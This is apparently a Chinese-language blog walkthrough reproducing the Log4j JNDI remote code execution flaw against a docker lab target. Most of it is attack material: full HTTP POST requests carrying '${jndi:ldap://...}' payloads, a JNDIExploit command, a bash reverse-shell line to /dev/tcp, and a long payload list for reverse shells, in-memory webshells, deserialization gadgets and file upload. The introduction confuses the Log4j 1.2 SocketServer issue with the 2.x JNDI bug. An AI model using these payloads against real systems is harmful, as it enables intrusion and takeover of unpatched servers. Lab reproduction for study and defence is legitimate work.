log4j漏洞复现
log4j简介
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。
Log4j 1.2 中包含一个 SocketServer 类,该类容易受到不可信数据反序列化的影响,当侦听不可信网络流量以获取日志数据时,该类可被利用与反序列化小工具结合使用以远程执行任意代码。攻击者可利用该漏洞执行任意代码。
这会影响从 1.2
到 2.14
的 Log4j 版本。
log4j环境搭建
- log4漏洞环境搭建(需要docker)
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
漏洞检测-dnslog
测试命令
${jndi:ldap://6zb6jy.dnslog.cn}
测试过程中,使用post数据包,添加Content-type:application/x-www-form-urlencoded
POST /webstudy/hello-fengxuan HTTP/1.1
Host: 10.211.55.5:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=20CF7810C7E2AFE7E0B0644E35340901
Content-type:application/x-www-form-urlencoded
Connection: close
Content-Length: 33
cmd:whoami
c=${jndi:ldap://6zb6jy.dnslog.cn}
dnslog平台成功回显,证明系统存在log4j漏洞
命令执行
使用JNDI利用工具
java -jar JNDIExploit-1.3-SNAPSHOT-2.jar -i local_ip_address(vps地址)
header:Content-type: application/x-www-form-urlencoded
header:Content-type: application/x-www-form-urlencoded
c=${jndi:ldap://0.0.0.0:1389/tomcatBypass/TomcatEcho}
cmd:whoami
cmd:bash -i >& /dev/tcp/0.0.0.0/2333 0>&1
POST /webstudy/hello-fengxuan HTTP/1.1
Host: 10.211.55.5:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=20CF7810C7E2AFE7E0B0644E3534090
Content-type: application/x-www-form-urlencoded
Connection: close
Content-Length: 59
cmd:whoami
c=${jndi:ldap://0.0.0.0:1389/tomcatBypass/TomcatEcho}
成功执行命令并回显
//JNDIExploit-1.3-SNAPSHOT-2.jar 工具存在的paylaod
[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Basic/Dnslog/[domain]
ldap://0.0.0.0:1389/Basic/Command/[cmd]
ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Basic/TomcatEcho
ldap://0.0.0.0:1389/Basic/SpringEcho
ldap://0.0.0.0:1389/Basic/WeblogicEcho
ldap://0.0.0.0:1389/Basic/TomcatMemshell1
ldap://0.0.0.0:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/Basic/JettyMemshell
ldap://0.0.0.0:1389/Basic/WeblogicMemshell1
ldap://0.0.0.0:1389/Basic/WeblogicMemshell2
ldap://0.0.0.0:1389/Basic/JBossMemshell
ldap://0.0.0.0:1389/Basic/WebsphereMemshell
ldap://0.0.0.0:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho
ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho
ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells
[+] TomcatBypass Queries
ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]
ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]
ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho
ldap://0.0.0.0:1389/TomcatBypass/SpringEcho
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3 /ateam pass1024
ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell
[+] GroovyBypass Queries
ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]
ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
ldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
我们欠生活一个努力!